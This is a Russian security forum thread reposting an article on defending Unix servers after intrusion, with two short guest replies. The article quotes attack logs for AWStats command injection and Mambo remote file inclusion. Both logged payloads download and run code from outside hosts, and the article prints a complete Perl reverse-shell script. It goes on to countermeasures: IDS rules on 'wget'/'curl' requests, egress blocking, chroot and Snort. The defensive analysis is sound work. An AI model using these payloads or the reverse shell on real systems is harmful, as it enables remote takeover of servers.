Показано с 1 по 3 из 3.

После эксплоита: защита после проникновения

  1. #1
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для SDA
    Регистрация
    07.01.2005
    Адрес
    Москва
    Сообщений
    7,168
    Вес репутации
    3169

    После эксплоита: защита после проникновения

    Как мы все знаем, предотвращение,
    обнаружение и ответ - три основные линии
    обороны против сетевых угроз. Так же
    понятно, что хороший администратор большую
    часть своих усилий направляет на
    укрепление первой линии обороны -
    предотвращении проникновения. Но всегда
    возможны случаи, когда наша начальная
    оборона спасует - возможно из-за
    недостаточности времени, возможно из-за
    ошибок в процедурах обеспечения
    безопасности, возможно по какой-либо другой
    причине. В данной статье мы рассмотрим
    несколько случаев проникновения хакеров в
    Unix-систему, покажем нормальное поведение
    администратора для предотвращения такого
    рода угроз.

    В наши дни все больше распространение
    получают файрволы и люди все больше
    внимания уделяют своевременному получению
    и установке патчей, следовательно все
    больше атак реализуется на уровне
    приложений. Например, мы все больше видим
    примеров SQL-инъекций, подбора SSH паролей,
    межсайтового скриптинга, использования
    ошибок броузеров. В качестве примерной системы в нашей статьей мы рассмотрим
    нормальную ОСь с установленными патчами,
    настроенным файрволом - иначе это именно та
    область куда стоит направить все свои
    усилия в первую очередь. Для тех же, кто
    хорошо следит за своей системой - наша
    статья.

    Web-атака: AWStats

    Предположим, что нападающий осуществляют
    атаку на уязвимую версию awstats,
    прямо через броузер:

    10.0.55.10 - - [25/Feb/2006:22:44:16 +1300] "GET /awstats/

    awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bw get%20http%3a

    %2f%2f81%2e58%2e26%2e26%2flibsh%2fping%2etxt%3bmv% 20ping%2etxt%

    20temp2006%3bperl%20temp2006%20210%2e245%2e233%2e2 51%208080...

    Хотя уязвимость довольно давно
    известна, в сети все еще можно встретить
    бажные версии программы. Очевидно, что в
    данном случае нападающий пытается
    заставить сервер выполнить следующие
    команды:

    echo b_exp;

    wget http://81.58.26.26/libsh/ping.txt;

    mv ping.txt temp2006;

    perl temp2006 210.245.233.251 8080;

    ...

    Получив ping.txt (или temp2006) мы можем понять,
    что это простой Perl скрипт:

    #!/usr/bin/perl

    use Socket;

    use FileHandle;

    $IP = $ARGV[0];

    $PORT = $ARGV[1];

    socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));

    connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));

    SOCKET->autoflush();

    open(STDIN, ">&SOCKET");

    open(STDOUT,">&SOCKET");

    open(STDERR,">&SOCKET");

    system("id;pwd;uname -a;w;HISTFILE=/dev/null /bin/sh -i");

    Теперь мы понимаем, что цель всей атаки -
    получить обратный шелл, а в качестве бонуса
    и ряд других
    параметров операционной системы:
    пользователя от которого выполняется срипт,
    текущую директорию и пр. Скрипт кроме того
    пытается скрыть свою работу, уничтожив файл
    истории.

    Для аннулирования такого нападения
    достаточно сделать одну или все из
    приведенных ниже вещей. Первое и главное:
    стоит убедиться, что awstats.pl не уязвим -
    пропатчен или проапгрейжен до новой версии.
    Это самый очевидный и естественный путь,
    думаю все читающие эти строки стараются
    держать свой софт в обновленном состоянии.
    Однако в данном случае мы говорим о прорыве
    первой линии обороны, можно представить что
    выпущен 0-day эксплоит или просто существует
    сервер о котором администраторы забыли.

    Администратор для защиты может
    использовать стороннюю IDS систему, например модуль mod_security для Apache. Такая
    система предупредит владельца об
    использовании недопустимых запросов -
    "curl%20" или "wget%20" и подобных. При
    конфигурировании такой системы надо
    помнить, что следует наблюдать и за POST
    запросами, на случай взлома, например, XMLRPC.

    Следующий действенный способ защиты -
    переименовать или удалить исполняемые
    файлы tftp/wget/curl/perl, если они не нужны вам. Это
    не сделает систему более безопасной, но
    позволит исключить большинство нападений.
    Подобно можно использовать файрвол для
    блокирования исходящих соединений от
    имени web-сервера - такой шаг в одиночестве не
    обезопасит вашу систему, но защитит от
    большинства обратных шеллов. Для защиты от
    SQL-инъекций можно аналогичным образом
    поработать с бинарниками tftp (для Windows) и tftp,
    wget и curl для Unix.


    В дополнение можно задействовать CHROOT
    для простого ограничения доступных серверу
    файлов и директорий. Он защитит от
    использования исполняемых файлов типа wget и
    curl и позволит настроить список директорий,
    которые могут быть доступны хакеру в случае
    удачного эксплуатирования уязвимостей в
    приложениях.


    Как дополнительное средство можно использовать
    программу слежения за целостностью файлов. Такие
    программы (типа AIDE или Tripwire), запускаемые
    несколько раз в день или в качестве демона,
    сравнивают контрольные суммы файлов с
    хранящимися в базе и таким образом могут
    обнаруживать изменения в файлах и директориях,
    предупреждая администратора о вторжениях.
    Но тут в дело уже вступает человеческий
    фактор - если администратор не обращает
    внимание на предупреждения ситемы, то ее
    действенность стремится к нулю.


    Web-атака: Mambo CMS

    Подобную же атаку можно увидеть и в Mambo.
    Выглядеть она будет примерно так:

    10.0.146.236 - - [28/Feb/2006:12:30:44 +1300] "GET /index2

    .php?option=com_content&do_pdf=1&id=1index2.php?_R EQUEST[option

    ]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_pa

    th=http://66.98.144.89/cmd.txt?&cmd=cd%20/tmp;wget%2010.0.218.1

    83/cback;chmod%20744%20cback;./cback%2010.0.242.90%208081;wget%

    2010.0.218.183/dc.txt;chmod%20744%20dc.txt;perl%20dc.txt%2010.0

    .242.90%208081...

    Можно увидеть, что тут речь идет еще об
    одной типичной ошибке - отсутствии проверки
    ввода в одном из параметров и подключении
    внешнего PHP-файла.

    Контрмеры описанные в предыдущем примере
    сработают и в данном случае, но тут возможно
    дополнение - администратор может выключить
    опцию allow_url_fopen в php.ini. Это уже не говоря о
    register_globals и прочих чрезвычайно небезопасных
    опциях.

    Web-атака с соединением с IRC

    Суть нападения практически аналогична предыдущим, только хакер попытался загрузить бинарник для коннекта к IRC Сети:

    09:45:35.778913 IP 12.205.151.144.6667 > 10.0.0.120.48298:
    P 1:44(43) ack 1 win 724

    ...
    0x0030: xxxx xxxx 4e4f 5449 4345 2041 5554 4820 ....NOTICE.AUTH.
    0x0040: 3a2a 2a2a 204c 6f6f 6b69 6e67 2075 7020 **.Looking.up.
    0x0050: 796f 7572 2068 6f73 746e 616d 650d 0a your.hostname..

    Такой трафик легко засечь Snort-ом, такие сигнатуры прописаны например в Bleeding-Snort. Кроме того такая атака вызовет массу попыток соединения с 80 портом, что должен засечь система слежения за портами IDS. Полезно так же в случае возникновения подозрений изучить DNS логи - в стандартной ситуации вряд ли кто-либо из сервисов запросит А записи evil.irc.example.net. Для этого есть масса инструментов, например argus - программа сохраняет логи для последующего аудита.

    Взлом браузера, DNS и e-mail

    Рассмотрим еще один типичный инцидент - взлом одной из машин университетского кампуса при помощи дыры в броузере. Эксплоит изменил настройки DNS на локальном компьютере. Взлом был быстро зарегистрирован, ведь каждая машина в локальной сети использовала местный DNS сервер и внешние запросы быстро выдали проникновение. На файрволе, отвечающем за сеть, был заблокирован 53 TCP и UDP порт, машина вылечена. Для предотвращения таких поражений, а так же загрузки malware-аттачей через почту в сети достаточно поставить web-прокси для фильтрования входящего трафика. Администратору предстоит только вовремя обновлять базу сигнатур.

    SSH-атака: brute-force пароля

    Другой сервер в нашей университетской сети был взломан подбором пароля к SSH. В настоящее время существует несколько версий червей, которые автоматически ищут открытые 22 порты пытаются подобрать пароль. За один уикэнд другой сервер получил более 200.000 SYN пактов в попытке подобрать пароль к SSH демону. Это пробудило нашу IDS. Кроме того взломщик пытался разослать фишинговое письмо пользователям eBay, но это не прошло из-за блока 25 порта на файрволе, все в сети использовали внутренний почтовый сервер.

    Атакующий помимо этого традиционно попытался применить ряд эксплоитов в попытке получить root-привилегии, но и это ему не удалось. Но удалось установить IRC клиент, присоединив машину к ботнету.

    Для предотвращения подобного рода атак стоит убедиться, что все внутри сети используют внутренний почтовый сервер. На нем стоит построить надежный файрвол и ограничить количество отсылаемых писем. Это остановит e-mail черви от размножения. так же можно сконфигурировать Snort на слежение за многочисленными попытками соединения с 25 и 22 портами. Для ограничения неавторизованного доступа стоит использовать стойкие пароли. Убедиться в том стойкий он или нет можно просто - попробовать сбрутфорсить его самому. Если вы регистрируете многочисленные попытки подбора пароля, то можно переместить SSH демон на другой порт, это значительно уменьшит количество "червивых" атак. Вполне возможно вместо пароля использовать пару ключей, но это во многом зависит от пользователей, который использую сервис. Многие еще могу смириться с SSH, но использование ключей для них настоящий темный лес. Так или иначе внедрить ключи не так сложно, а безопасность будет значительно укреплена.

    После взлома

    После взлома компьютера его всегда надо переустановить из надежного дистрибутива. Только данные целесообразно восстанавливать из бекапа. Но прежде всего конечно стоит понять как взлом был осуществлен, ведь восстанавливать компьютер в прежнее уязвимое состояние - нелепое занятие. Для осознания проблемы полезно использовать логи. Основные направления загрузки инструментов хакера после взлома - wget, tftp, ftp и curl, возможно использование Perl-а в качестве простого шелла. Кроме того после взлома нападающие пытаются получить административные привилегии, если это не удалось - все равно подключить машину к своему ботнету через IRC или разослать почту. Соответственно, зная эти направления, и нужно укреплять оборону, закрывая порты и настраивая системы обнаружения вторжения. Целесообразно настроить и регулярно обновлять IDS на ловлю всего "неожиданного" поведения компьютеров, особенно если нельзя сузить области обороны вашей сети, а так же использовать анализаторы логов для определения происходящего.

    Помните - предотвратить проще, чем лечить. Регулярные патчи, настройка файрвола, просмотр логов, разумное обеспечение остальных мер безопасности - вот залог вашей безопасности. Моя сеть - моя крепость.
    http://www.cyberinfo.ru

  2. Будь в курсе!
    Реклама на VirusInfo

    Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

    Anti-Malware Telegram
     

  3. #2
    Гость
    Guest
    А чего делать не хостеру, а тому, у кого появились странные папки awstats? Поможет ли защита путем htaccess - rewriterule?

  4. #3
    Гость
    Guest
    Цитата Сообщение от Гость Посмотреть сообщение
    А чего делать не хостеру, а тому, у кого появились странные папки awstats? Поможет ли защита путем htaccess - rewriterule?
    Ответ, если можно на maiskiykot@mail.ru

Похожие темы

  1. Ответов: 13
    Последнее сообщение: 09.07.2012, 13:09
  2. Ответов: 7
    Последнее сообщение: 18.05.2012, 17:38
  3. Ответов: 27
    Последнее сообщение: 19.05.2009, 17:37
  4. Технология проникновения
    От drwhite в разделе Оффтоп
    Ответов: 1
    Последнее сообщение: 27.10.2008, 10:19

Свернуть/Развернуть Ваши права в разделе

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  
Page generated in 0.01230 seconds with 16 queries